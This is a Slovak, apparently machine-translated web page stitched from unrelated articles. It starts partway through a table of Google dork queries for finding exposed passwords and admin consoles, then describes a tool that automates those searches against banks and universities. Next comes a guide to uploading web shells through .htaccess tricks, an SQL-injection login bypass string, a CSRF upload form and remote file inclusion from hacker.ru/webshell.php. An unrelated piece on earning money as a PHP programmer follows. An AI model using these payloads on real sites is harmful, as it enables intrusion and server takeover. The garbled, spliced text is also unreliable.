vpn, skryté úložiská atď.) <br></td> <td width="284">Nájdite všetky zoznamy adresárov obsahujúce súbory súvisiace s VPN: <br><i>"Config" intitle:"Index" intext:vpn</i><br>Stránky obsahujúce git repozitáre: <br><i>(intext:"index súboru /.git") ("nadradený adresár")</i><br></td> </tr><tr><td width="168">Detekcia webového servera <br></td> <td width="190">Verzia a ďalšie informácie o webovom serveri <br></td> <td width="284">Nájdite administračné konzoly servera JBoss: <br><i>inurl:"/web-console/" intitle:"Administračná konzola"</i><br></td> </tr><tr><td width="168">Zraniteľné súbory <br></td> <td width="190">Skripty obsahujúce známe zraniteľnosti <br></td> <td width="284">Nájdite stránky, ktoré používajú skript, ktorý vám umožňuje nahrať ľubovoľný súbor zo servera: <br><i>allinurl:forcedownload.php?file=</i><br></td> </tr><tr><td width="168">Zraniteľné servery <br></td> <td width="190">Inštalačné skripty, webové shelly, otvorené administrátorské konzoly atď. <br></td> <td width="284">Nájdite otvorené konzoly PHPMyAdmin spustené ako root: <br><i>intitle:phpMyAdmin "Vitajte v phpMyAdmin ***" "beží na * ako root@*"</i><br></td> </tr><tr><td width="168">Chybové hlásenia <br></td> <td width="190">Rôzne chyby a upozornenia často odhalia dôležité informácie – od verzie CMS až po heslá <br></td> <td width="284">Stránky, ktoré majú chyby pri vykonávaní SQL dotazov do databázy: <br><i>"Upozornenie: mysql_query()" "neplatný dotaz"</i><br></td> </tr><tr><td width="168">Súbory obsahujúce šťavnaté informácie <br></td> <td width="190">Certifikáty, zálohy, e-maily, denníky, SQL skripty atď. <br></td> <td width="284">Nájdite inicializačné skripty SQL: <br><i>filetype:sql a „vložiť do“ -site:github.com</i><br></td> </tr><tr><td width="168">Súbory obsahujúce heslá <br></td> <td width="190">Čokoľvek, čo môže obsahovať heslá - denníky, skripty SQL atď. <br></td> <td width="284">Protokoly, v ktorých sú uvedené heslá: <br><i>typ súboru:</i><i>log</i><i>intext:</i><i>heslo |</i><i>prejsť |</i><i>pw</i><br>sql skripty obsahujúce heslá: <br><i>ext:</i><i>sql</i><i>intext:</i><i>užívateľské meno</i><i>intext:</i><i>heslo</i><br></td> </tr><tr><td width="168">Citlivé informácie o online nakupovaní <br></td> <td width="190">Informácie súvisiace s online nákupmi <br></td> <td width="284">Nájsť PIN kódy: <br><i>dcid=</i><i>bn=</i><i>špendlík</i><i>kód=</i><br></td> </tr><tr><td width="168">Údaje o sieti alebo zraniteľnosti <br></td> <td width="190">Informácie, ktoré priamo nesúvisia s webovým zdrojom, ale ovplyvňujú sieť alebo iné newebové služby <br></td> <td width="284">Vyhľadajte automatické konfiguračné skripty proxy obsahujúce informácie o internej sieti: <br><i>inurl:proxy | inurl:wpad ext:pac | ext:dat findproxyforurl</i><br></td> </tr><tr><td width="168">Stránky obsahujúce prihlasovacie portály <br></td> <td width="190">Stránky obsahujúce prihlasovacie formuláre <br></td> <td width="284">webové stránky saplogonu: <br><i>intext:"2016 SAP AG. Všetky práva vyhradené." intitle:"Prihlásenie"</i><br></td> </tr><tr><td width="168">Rôzne online zariadenia <br></td> <td width="190">Tlačiarne, smerovače, monitorovacie systémy atď. <br></td> <td width="284">Nájdite konfiguračný panel tlačiarne: <br><i>intitle:"</i><i>hp</i><i>laserjet"</i><i>inurl:</i><i>SSI/</i><i>Auth/</i><i>set_</i><i>config_</i><i>informácie o zariadení.</i><i>htm</i><br></td> </tr><tr><td width="168">Rady a slabé miesta <br></td> <td width="190">Webové stránky na zraniteľných verziách CMS <br></td> <td width="284">Nájdite zraniteľné doplnky, prostredníctvom ktorých môžete na server nahrať ľubovoľný súbor: <br><i>inurl:fckeditor -intext:"ConfigIsEnabled = False" intext:ConfigIsEnabled</i><br></td> </tr></tbody></table><br>Dorky sa častejšie zameriavajú na vyhľadávanie na všetkých internetových stránkach. Nič vám však nebráni obmedziť rozsah vyhľadávania na akejkoľvek stránke alebo lokalitách. <br>Každý dopyt Google môže byť zameraný na konkrétnu stránku pridaním kľúčového slova „site:somesite.com“ do dopytu. Toto kľúčové slovo je možné pridať do ľubovoľného dorka. <p><b>Automatizácia hľadania zraniteľností</b><br>Takto sa zrodil nápad napísať jednoduchú utilitu, ktorá automatizuje vyhľadávanie zraniteľností pomocou vyhľadávača (google) a spolieha sa na databázu Google Hack.</p><p>Nástroj je skript napísaný v nodejs pomocou phantomjs. Aby som bol presný, skript je interpretovaný samotnými phantomjs. <br>Phantomjs je plnohodnotný webový prehliadač bez GUI, ovládaný js kódom a s pohodlným API. <br>Nástroj dostal celkom zrozumiteľný názov - dorks. Spustením na príkazovom riadku (bez možností) získame krátku pomoc s niekoľkými príkladmi použitia: <br><br><img src='https://i0.wp.com/habrastorage.org/getpro/habr/post_images/edd/6fb/ccc/edd6fbccc5ec340abe750f3073c1b427.jpg' width="100%" loading=lazy loading=lazy><br>Obrázok 1 - Zoznam hlavných možností dorks</p><p>Všeobecná syntax pomôcky je: dork „príkaz“ „zoznam možností“. <br>Podrobný popis všetkých možností je uvedený v tabuľke 4.</p><p>Tabuľka 4 - Syntax Dorks <br></p><table border="1"><tbody><tr><td width="214"><b>Tím</b><br></td> <td width="214"><b>Možnosť</b><br></td> <td width="214"><b>Popis</b><br></td> </tr><tr><td rowspan="4" width="214">ghdb <br></td> <td width="214">-l <br></td> <td width="214">Vytlačte si očíslovaný zoznam dork kategórií Google Hack Database <br></td> </tr><tr><td width="214">-c „číslo alebo názov kategórie“ <br></td> <td width="214">Načítajte dvere zadanej kategórie podľa čísla alebo názvu <br></td> </tr><tr><td width="214">-q "fráza" <br></td> <td width="214">Stiahnite si dorks nájdené na požiadanie <br></td> </tr><tr><td width="214">-o "súbor" <br></td> <td width="214">Uložte výsledok do súboru (iba s voľbami -c|-q) <br></td> </tr><tr><td rowspan="8" width="214">google <br></td> <td width="214">-d "dork" <br></td> <td width="214">Nastavte ľubovoľný dork (možnosť je možné použiť mnohokrát, kombinácia s možnosťou -D je povolená) <br></td> </tr><tr><td width="214">-D "súbor" <br></td> <td width="214">Použite dorks zo súboru <br></td> </tr><tr><td width="214">-s "stránka" <br></td> <td width="214">Nastaviť miesto (možnosť je možné použiť mnohokrát, kombinácia s možnosťou -S je povolená) <br></td> </tr><tr><td width="214">-S "súbor" <br></td> <td width="214">Použiť stránky zo súboru (dorks budú vyhľadávané pre každú stránku nezávisle) <br></td> </tr><tr><td width="214">-f "filter" <br></td> <td width="214">Nastaviť ďalšie kľúčové slová (budú pridané do každého dorka) <br></td> </tr><tr><td width="214">-t "počet ms" <br></td> <td width="214">Interval medzi požiadavkami na Google <br></td> </tr><tr><td width="214">-T "počet ms" <br></td> <td width="214">V prípade nájdenia obrázka captcha vyprší časový limit <br></td> </tr><tr><td width="214">-o "súbor" <br></td> <td width="214">Uložiť výsledok do súboru (uložia sa iba tie skladby, pre ktoré sa niečo našlo) <br></td> </tr></tbody></table><br>Pomocou príkazu ghdb môžete získať všetky dorky z exploit-db ľubovoľnou požiadavkou alebo zadať celú kategóriu. Ak zadáte kategóriu 0, uvoľní sa celá databáza (približne 4,5 tisíc dork). <p>Zoznam v súčasnosti dostupných kategórií je uvedený na obrázku 2. <br><br><img src='https://i1.wp.com/habrastorage.org/getpro/habr/post_images/b8f/b11/ffe/b8fb11ffeaced5066fd2fd9e43be67fb.jpg' width="100%" loading=lazy loading=lazy></p><p>Obrázok 2 - Zoznam dostupných kategórií dork GHDB</p><p>Tím google nahradí každého dorka do vyhľadávača google a analyzuje výsledky na zhody. Cesty, kde sa niečo našlo, sa uložia do súboru. <br>Nástroj podporuje rôzne režimy vyhľadávania: <br>1 dork a 1 web; <br>1 dork a mnoho stránok; <br>1 miesto a veľa dorks; <br>veľa stránok a veľa dork; <br>Zoznam dork a lokalít je možné špecifikovať buď pomocou argumentu, alebo prostredníctvom súboru.</p><p><b>Ukážka práce</b><br>Skúsme hľadať prípadné zraniteľnosti na príklade hľadania chybových hlásení. Príkazom: dorks ghdb –c 7 –o errors.dorks budú načítané všetky známe dorks kategórie „Chybové hlásenia“, ako je znázornené na obrázku 3. <br><br><img src='https://i1.wp.com/habrastorage.org/getpro/habr/post_images/28c/386/641/28c386641d1528652f7f8e8b8089097a.jpg' width="100%" loading=lazy loading=lazy><br>Obrázok 3 – Načítanie všetkých známych správ kategórie „Chybové hlásenia“.</p><p>Dorky sa stiahnu a uložia do súboru. Teraz už zostáva len ich „nastaviť“ na nejaké miesto (pozri obrázok 4). <br><br><img src='https://i2.wp.com/habrastorage.org/getpro/habr/post_images/8e0/a8a/3af/8e0a8a3af4f26544da1faa584813dbff.jpg' width="100%" loading=lazy loading=lazy><br>Obrázok 4 – Vyhľadajte zraniteľné miesta záujmovej stránky vo vyrovnávacej pamäti Google</p><p>Po určitom čase sa na skúmanej lokalite objaví niekoľko stránok obsahujúcich chyby (pozri obrázok 5).</p><p><img src='https://i1.wp.com/habrastorage.org/getpro/habr/post_images/10b/e83/ba3/10be83ba38f172213ba06b3f9ad05a58.jpg' width="100%" loading=lazy loading=lazy><br>Obrázok 5 – Nájdené chybové hlásenia</p><p>Výsledkom je, že v súbore result.txt dostaneme kompletný zoznam dork, ktoré vedú k chybe. <br>Obrázok 6 zobrazuje výsledok vyhľadávania chýb stránok. <br><br>Obrázok 6 – Výsledok vyhľadávania chýb</p><p>V cache pre tento dork sa zobrazuje kompletný backtrace, ktorý odhaľuje absolútne cesty skriptov, systém správy obsahu stránky a typ databázy (pozri obrázok 7). <br><br><img src='https://i2.wp.com/habrastorage.org/getpro/habr/post_images/0a9/455/588/0a9455588496d6609f5e13d598cb5a48.jpg' width="100%" loading=lazy loading=lazy><br>Obrázok 7 – zverejnenie informácií o dizajne stránky</p><p>Stojí však za zváženie, že nie všetky dorky z GHDB dávajú skutočné výsledky. Google tiež nemusí nájsť presnú zhodu a zobraziť podobný výsledok.</p><p>V tomto prípade je rozumnejšie použiť svoj osobný zoznam dorks. Napríklad vždy stojí za to hľadať súbory s „nezvyčajnými“ príponami, ktorých príklady sú znázornené na obrázku 8. <br><br><img src='https://i2.wp.com/habrastorage.org/getpro/habr/post_images/d7f/865/693/d7f865693f7fcf13137598eeed0ecb58.jpg' width="100%" loading=lazy loading=lazy><br>Obrázok 8 – Zoznam prípon súborov, ktoré nie sú typické pre bežný webový zdroj</p><p>Výsledkom je, že pomocou príkazu dorks google –D extensions.txt –f bank začne Google od prvej požiadavky vracať stránky s „nezvyčajnými“ príponami súborov (pozri obrázok 9). <br><br><img src='https://i2.wp.com/habrastorage.org/getpro/habr/post_images/107/e1f/a2f/107e1fa2f41c4169bcc254cba2f2f4b6.jpg' width="100%" loading=lazy loading=lazy><br>Obrázok 9 – Vyhľadávanie „zlých“ typov súborov na webových stránkach bánk</p><p>Stojí za to mať na pamäti, že Google neakceptuje dopyty dlhšie ako 32 slov.</p><p>Pomocou príkazu dorks google –d intext:”error|warning|notice|syntax” –f university <br>Chyby interpreta PHP môžete hľadať na vzdelávacích webových stránkach (pozri obrázok 10). <br><br><img src='https://i2.wp.com/habrastorage.org/getpro/habr/post_images/717/74f/e36/71774fe3656bfc058c42d43262fdec4a.jpg' width="100%" loading=lazy loading=lazy><br>Obrázok 10 – Hľadanie chýb PHP runtime</p><p>Niekedy nie je vhodné použiť jednu alebo dve kategórie dork. <br>Napríklad, ak je známe, že stránka beží na motore Wordpress, potom potrebujeme moduly špecifické pre WordPress. V tomto prípade je vhodné použiť vyhľadávanie v databáze Google Hack. Príkaz dorks ghdb –q wordpress –o wordpress_dorks.txt stiahne všetky dorks z Wordpressu, ako je znázornené na obrázku 11: <br><br><img src='https://i0.wp.com/habrastorage.org/getpro/habr/post_images/dcb/ac9/a4e/dcbac9a4eb12f6ec775d9cccc2fdee87.jpg' width="100%" loading=lazy loading=lazy><br>Obrázok 11 – Vyhľadávanie Dorks súvisiacich s Wordpressom</p><p>Vráťme sa opäť k bankám a pomocou príkazu dorks google –D wordpress_dords.txt –f banka sa pokúsime nájsť niečo zaujímavé súvisiace s Wordpressom (pozri obrázok 12). <br><br><img src='https://i0.wp.com/habrastorage.org/getpro/habr/post_images/042/0c2/c43/0420c2c435931704288b171f725ccc6a.jpg' width="100%" loading=lazy loading=lazy><br>Obrázok 12 – Vyhľadávanie slabín Wordpressu</p><p>Stojí za zmienku, že vyhľadávanie v databáze Google Hack neakceptuje slová kratšie ako 4 znaky. Napríklad, ak nie je známy CMS stránky, ale je známy jazyk - PHP. V tomto prípade môžete to, čo potrebujete, filtrovať manuálne pomocou potrubia a systémového vyhľadávacieho nástroja dorks –c all | findstr /I php > php_dorks.txt (pozri obrázok 13): <br><br><img src='https://i1.wp.com/habrastorage.org/getpro/habr/post_images/4c1/2f8/6e1/4c12f86e111074293c14d6a939c6ebab.jpg' width="100%" loading=lazy loading=lazy><br>Obrázok 13 – Vyhľadajte všetky dorky, kde sa spomína PHP</p><p>Vyhľadávanie zraniteľných miest alebo niektorých citlivých informácií vo vyhľadávači by sa malo vykonávať iba vtedy, ak je na tejto stránke významný index. Napríklad, ak má stránka indexovaných 10-15 stránok, potom je hlúpe hľadať čokoľvek týmto spôsobom. Kontrola veľkosti indexu je jednoduchá – stačí zadať „site:somesite.com“ do vyhľadávacieho panela Google. Príklad stránky s nedostatočným indexom je znázornený na obrázku 14. <br><br><img src='https://i0.wp.com/habrastorage.org/getpro/habr/post_images/78e/1db/b4f/78e1dbb4fc78cd422cec311fc2ca9d33.jpg' width="100%" loading=lazy loading=lazy><br>Obrázok 14 – Kontrola veľkosti indexu lokality</p><p>Teraz o nepríjemnostiach... Z času na čas môže Google požiadať o captcha – s tým sa nedá nič robiť – budete ho musieť zadať. Napríklad pri vyhľadávaní v kategórii „Chybové správy“ (90 dorks) sa captcha objavil iba raz.</p><p>Stojí za to dodať, že phantomjs tiež podporuje prácu cez proxy, a to cez rozhranie http aj socks. Ak chcete povoliť režim proxy, musíte odkomentovať príslušný riadok v dorks.bat alebo dorks.sh.</p><p>Nástroj je dostupný ako zdrojový kód</p> <br>V tomto článku chcem hovoriť o najbežnejšie používaných metódach nahrávania shellu na webovú stránku. <b>Web-shell</b> je druh škodlivého skriptu (programu), ktorý útočníci používajú na ovládanie webových stránok alebo serverov. <p><b>Metóda 1</b><br>Na webovej stránke nájdete formulár na nahrávanie súborov/obrázkov. Povedzme, že sa nám nepodarilo hacknúť panel administrátora stránky a pokúšame sa zaplaviť náš shell <b>rozšírenie.php.jpg .</b> V prípade úspechu sa nám namiesto obrázku zobrazí biele okno, klikneme pravým tlačidlom myši a nasledujeme odkaz. V prípade zlyhania môžeme použiť rozšírenie Chrome <b>údaje o manipulácii</b>. Umožňuje vám zachytiť a zmeniť požiadavku, ako chcete. Ak stránka skontroluje príponu súboru, najskôr môžeme nahrať <b>.htaccess</b> súbor s obsahom: <br>AddType application/x-httpd-php .jpg <br>Tento príkaz spustí súbory jpg ako php. <br><b>Podrobný návod na video:</b><br></p><p><span class="imp1oe54JeQ"></span></p><p>Video návod na <b>inštalácia sabotážnych údajov:</b><br></p><p><span class="JA5K4KJ0NCc"></span></p><br><b>Metóda 2</b><br>Pomocou programu vyhľadajte admin panely na stránke - https://github.com/bdblackhat/admin-panel-finder. Keď program nájde admin panel, môžeme skúsiť sql-injection. Do poľa prihlasovacieho mena a hesla na stránke zadáme kód: <br><p>" alebo "1"="1" ALEBO 1=1/*</p><p>Ak to funguje, dostaneme sa na panel správcu a <b>Postupujeme podľa metódy 1.</b> Ak v administračnom paneli na stránke nie je žiadny sql-injection, môžeme sa ho pokúsiť odladiť alebo nájsť exploit pre tento CMS. <br><b>Podrobný návod na video:</b><br></p><p><span class="5Kh5gCr_3rc"></span></p><br><b>Metóda 3</b><br>V metóde 3 budeme hľadať sql-injection na samotnej stránke. Môžeme to urobiť ručne alebo použiť sqlmap. Na fóre je dosť tém o tom, ako vykonávať injekcie, takže prídem z diaľky. Takže teraz sme už našli tabuľku s prihlasovacím menom a heslom správcu, dešifrovali sme hash, prejdite na panel správcu a radujte sa. Povedzme však, že sa nám nepodarilo dešifrovať heslo a všetko sa pokazilo, potom musíme skontrolovať oprávnenia nášho používateľa <b>. </b> Skontrolujeme oprávnenia a načítame mini-shell. <b>Z nejakého dôvodu, keď chcem vložiť kód, stránka mi zobrazí chybu.</b><p><b>Metóda 4</b><br>Metóda 4 zahŕňa útok csrf. V nižšie uvedenom kóde musíme nahradiť <b>http://</b> na náš cieľový odkaz. <b>Vyberte shell</b> a stlačte tlačidlo <b>nahrať.</b><br></p><p> <form method="POST" action="http://" enctype="multipart/form-data" > <input type="file" name="Filedata"></center><br> <input type="submit" name="Submit" value="Nahrať"> </form></p><p><span class="FXOjzV5I1Cc"></span></p><br><b>Metóda 5</b><br>Zistite viac o svojom cieli a nájdite exploit. Existuje na to veľmi zaujímavý web - https://www.exploit-db.com. Masívne hackovanie webstránok cez zraniteľnosti nikto nezrušil, no už je o tom článok na formulári. <p>Existuje oveľa viac spôsobov, ako vyplniť škrupinu a nemá zmysel hovoriť o každom z nich. Ak chcete cvičiť, nainštalujte si dvwa - je to program navrhnutý tak, aby pomohol bezpečnostným profesionálom otestovať ich zručnosti a nástroje v právnom prostredí.</p><p><b>Metóda 6 <br><b>Php injekcia</b>- ide o formu útoku na webovú stránku, keď útočník vloží svoj PHP kód do napadnutej PHP aplikácie.</b><br>www.site.ru?page=home.html <br>Vykonaním príkazu načítame domovskú,html stránku. Teraz sa pokúsime načítať škodlivý shell. <br>www.site.ru?page=http://hacker.ru/webshell.php <br>Dork: <b>Inurl:page=</b></p><p>Existuje tiež spôsob, ako nájsť už načítaný shell pomocou perlu</p> <p> » </p><h1>Ako môže PHP programátor zarobiť dobré peniaze doma?</h1><p>Najúspešnejší PHP programátori zarábajú dobré peniaze z domu. Na začiatku každého príjmu vznikajú ťažkosti. Stáva sa, že ťažkosti a nedostatok vedomostí o metódach zárobku odrádzajú od všetkej túžby zarábať peniaze doma, a potom programátori hľadajú príležitosť pracovať v kanceláriách, kde je väčšia záruka, že peniaze môžu dostávať každý mesiac, a profesionálny rast. možné.</p><p>Ale možnosť pracovať z domu má viac výhod ako nevýhod.</p><h3>klady</h3><p>Budete pracovať pre seba. Nikto vás nevyhodí, budete si môcť rozložiť svoj vlastný rozvrh alebo prácu v čase, ktorý chcete.</p><p>Sami si vyberiete spôsob, ako zarobiť peniaze pomocou programovania, čo po prvé zvýši váš záujem o prácu a po druhé, máte veľkú slobodu konania. Nemusíte pracovať na niečom, čo sa vám nepáči. Pribúdajú aj možnosti kombinovania spôsobov zárobku.</p><h3>Mínusy</h3><p>Spočiatku to bude ťažké a na to, aby ste získali prvé peniaze za svoju prácu, musíte investovať veľa úsilia a času. A aby bol zisk, musíte sa neustále rozvíjať a mať trpezlivosť a správne rozvrhnúť svoj rozvrh, aby ste mali dostatok času na dokončenie práce načas.</p><h3>Zarábajte peniaze zo svojich skriptov</h3><p>Na internete je veľa rôznych skriptov, ktoré si ľudia môžu jednoducho stiahnuť a nainštalovať na svoje webové stránky. Môžete si napísať svoj vlastný jedinečný skript a existujú dve možnosti, ako na ňom zarobiť peniaze. Predajte ho alebo uverejnite prostredníctvom služieb zdieľania súborov. Môžete tiež použiť dve možnosti. Napríklad ľahké skripty, ale zároveň je tiež veľmi dôležité umiestniť cez služby zdieľania súborov presne tie skripty, ktoré budú veľmi žiadané. Na to musia byť skripty žiadané, aby si ich ľudia stiahli pre svoje potreby.</p><p>Veľké skripty je možné predávať za rozumné ceny. Môžete uverejniť inzerát na fórach, alebo ak máte svoj osobný blog alebo webovú stránku, umiestniť reklamu na predaj skriptov.</p><p>V každom prípade, bez ohľadu na to, akú možnosť si vyberiete, umiestnite skript do archívu a nezabudnite uviesť podrobné pokyny a kontaktné údaje o sebe. Nezabudnite poskytnúť podporu, pretože je dôležité, aby ste na sebe pracovali. Koniec koncov, musíte byť odporúčaní alebo mať stiahnuté skripty. Musia byť vysoko kvalitné. Ak vás niekto požiada o pomoc, zdvorilo mu vysvetlite skript alebo mu ho pomôžte nainštalovať. Vaše skripty by mali mať komentáre. Za čo je každá funkcia zodpovedná atď. Človek sa totiž môže ľahko zmiasť vo vašom kóde, kde nie sú žiadne zápisy.</p><h3>Vlastné a spoločné projekty</h3><p>Na úspešné zarábanie peňazí je dobré vytvoriť si vlastnú webovú stránku. Existuje veľa možností, ako zarobiť peniaze pomocou vašej webovej stránky. Ak to dobre propagujete, môžete tam umiestniť scenáre na predaj. Spoločné projekty rozšíria vaše schopnosti, čo je dobré pre úspech domáceho programovania. Hľadajte preto partnerov alebo neodmietajte ponuky na vytvorenie spoločného projektu.</p><p>Mali by ste si byť istí, že pridáte funkcie, ktoré upútajú pozornosť na váš web. Stránka môže mať pravidelný, jednoduchý vzhľad, no zároveň má svojský nádych. Osobná webová stránka pomáha zvyšovať počet klientov. Uvidia, ako vaše skripty fungujú, ak ich načítanie netrvá príliš dlho, či sú zaujímavé na použitie a čo je najdôležitejšie, originálne, na rozdiel od čohokoľvek iného. Potom nájdete úspech.</p><h3>Zárobok z objednávok</h3><p>K tomu sa stačí zaregistrovať na rôznych burzách pre freelancerov a hľadať objednávky. Vystavte svoje portfólio dokončených prác. Ale pozor, na svete sú aj nečestní ľudia a aby ste nenaleteli podvodu, ukážte najprv dielo, ktoré sa nachádza na vašom serveri (mimochodom, v tomto prípade si budete musieť prenajať vps http:/ /nkvd.pro/vps/), a ak vám časť zaplatia, preneste polovicu na ich server a urobte to isté s druhou časťou. Tento spôsob zarábania peňazí sa považuje za ziskový, ale závisí od stupňa vašich vedomostí a zručností. Závisí to aj od spätnej väzby od vašich zákazníkov. Aby ste uspeli v tomto spôsobe zarábania peňazí, robte prácu poctivo a efektívne. Musíte byť schopní komunikovať so zákazníkmi, jasne im vysvetliť, čo môžete a čo nemôžete robiť.</p><p>Toto nie je celý zoznam zárobkov pre programátora php, ale vďaka týmto metódam zarábania peňazí, ktoré sú napísané vyššie, môžete už zarábať peniaze bez toho, aby ste opustili domov. V počiatočnej fáze to bude veľký úspech. Hlavná vec je nezastaviť sa tam. Neustále sa zdokonaľujte a vytvárajte projekty, ktoré vám prinesú nielen dobrý príjem, ale aj potešenie.</p> <br><b>o autorovi</b> <br><p>Ako môže PHP programátor zarobiť dobré peniaze doma?</p> <script type="text/javascript"> <!-- var _acic={dataProvider:10};(function(){var e=document.createElement("script");e.type="text/javascript";e.async=true;e.src="https://www.acint.net/aci.js";var t=document.getElementsByTagName("script")[0];t.parentNode.insertBefore(e,t)})() //--> </script><br> <br> <script>document.write("<img style='display:none;' src='//counter.yadro.ru/hit;artfast_after?t44.1;r"+ escape(document.referrer)+((typeof(screen)=="undefined")?"": ";s"+screen.width+"*"+screen.height+"*"+(screen.colorDepth? screen.colorDepth:screen.pixelDepth))+";u"+escape(document.URL)+";h"+escape(document.title.substring(0,150))+ ";"+Math.random()+ "border='0' width='1' height='1' loading=lazy loading=lazy>");</script> </div> </article> <div class="related_block"> <div class="title">Súvisiace publikácie</div> <ul class="recent_ul"> <li> <div class="img_block"> <div class="overlay"></div> <img src="/uploads/64b7401db355528459e6d4f88f75db81.jpg" style="width:230px; height:145px;" / loading=lazy loading=lazy></div> <a href="https://storerarity.ru/sk/chto-novogo-poluchil-stabilizator-zhiyun-crane-plus-tr-hosevoi.html">Trojosový elektronický stabilizátor Zhiyun Crane Plus (2018) Funkcia časozberného snímania v pohybe</a></li> <li> <div class="img_block"> <div class="overlay"></div> <img src="/uploads/84de9f3731f3979985fb57b66b81bd5d.jpg" style="width:230px; height:145px;" / loading=lazy loading=lazy></div> <a href="https://storerarity.ru/sk/kak-vklyuchit-vse-yadra-kak-vklyuchit-vse-yadra-processora-kak-vklyuchit.html">Ako povoliť všetky jadrá procesora Ako povoliť všetky procesory v systéme Windows 10</a></li> <li> <div class="img_block"> <div class="overlay"></div> <img src="/uploads/79844ffc013d287bb7adc7f3dabe3e13.jpg" style="width:230px; height:145px;" / loading=lazy loading=lazy></div> <a href="https://storerarity.ru/sk/jbl-go-ne-rabotaet-obzor-besprovodnoi-kolonki-jbl-go-plyusy-i-minusy-jbl.html">Recenzia bezdrôtového reproduktora JBL Go</a></li> </ul> </div> </div> <aside id="sidebar"> <div class="block"> <nav class="sidebar_menu"> <div class="menu-sidebar_menu-container"> <ul id="menu-sidebar_menu" class="menu"> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/sk/category/programs/">programy</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/sk/category/windows/">Windows</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/sk/category/devices/">Zariadenia</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/sk/category/browsers/">Prehliadače</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/sk/category/reviews/">Recenzie</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/sk/category/reviews/">Recenzie</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/sk/category/setup/">nastavenie</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/sk/category/torrent/">Torrent</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/sk/category/editors/">Redaktori</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/sk/category/instagram/">Instagram</a></li> </ul> </div> </nav> </div> <div class="block recent_block"> <div class="title">Posledné poznámky</div> <ul class="popular"> <li> <div class="img_block"> <div class="overlay"></div> <img width="240" height="145" src="/uploads/95236f72f3e17d8b09868145a5ad3403.jpg" class="attachment-popular_thumb size-popular_thumb wp-post-image" alt="FlashFire je nová aplikácia na aktualizáciu Androidu bez straty rootu" / loading=lazy loading=lazy> <span class="cat">programy</span></div> <a href="https://storerarity.ru/sk/root-sletaet-flashfire-novoe-prilozhenie-dlya-obnovleniya-android-bez-utraty-ruta-poteryayu.html">FlashFire je nová aplikácia na aktualizáciu Androidu bez straty rootu</a></li> <li> <div class="img_block"> <div class="overlay"></div> <img width="240" height="145" src="/uploads/e2b88b416324d601a10ad22e6eb523e9.jpg" class="attachment-popular_thumb size-popular_thumb wp-post-image" alt="Ovládanie telefónu z počítača" / loading=lazy loading=lazy> <span class="cat">programy</span></div> <a href="https://storerarity.ru/sk/peredacha-ekrana-mobilnika-na-kompyuter-upravlenie-telefonom-s-kompyutera.html">Ovládanie telefónu z počítača</a></li> <li> <div class="img_block"> <div class="overlay"></div> <img width="240" height="145" src="/uploads/08ff898ce3f043c159e55cbc5f956187.jpg" class="attachment-popular_thumb size-popular_thumb wp-post-image" alt="Ako nastaviť bezdrôtový displej Xiaomi" / loading=lazy loading=lazy> <span class="cat">programy</span></div> <a href="https://storerarity.ru/sk/besprovodnoi-displei-xiaomi-kak-nastroit-noutbuk-kak-nastroit.html">Ako nastaviť bezdrôtový displej Xiaomi</a></li> </ul> </div> </aside> </div> </div> <div class="clear"></div> <footer id="footer"><div class="wrapper"> <div class="copy">2024 | Počítače pre každého – nastavenie, inštalácia, obnovenie</div> <nav class="header_menu"> <div class="menu-footer_menu-container"> </div> </nav> </div></footer> <div id="toTop"></div> <script type='text/javascript' src='https://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js'></script> <nav class="mobile_menu"> <div class="close_menu"></div> <div class="mob_menu"> <div class="menu-mobile_menu-container"> <ul id="menu-mobile_menu" class="menu"> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/sk/category/programs/">programy</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/sk/category/windows/">Windows</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/sk/category/devices/">Zariadenia</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/sk/category/browsers/">Prehliadače</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/sk/category/reviews/">Recenzie</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/sk/category/reviews/">Recenzie</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/sk/category/setup/">nastavenie</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/sk/category/torrent/">Torrent</a></li> </ul> </div> </div> </nav> <script type="text/javascript"> <!-- var _acic={dataProvider:10};(function(){var e=document.createElement("script");e.type="text/javascript";e.async=true;e.src="https://www.acint.net/aci.js";var t=document.getElementsByTagName("script")[0];t.parentNode.insertBefore(e,t)})() //--> </script><br> <br> </body> </html>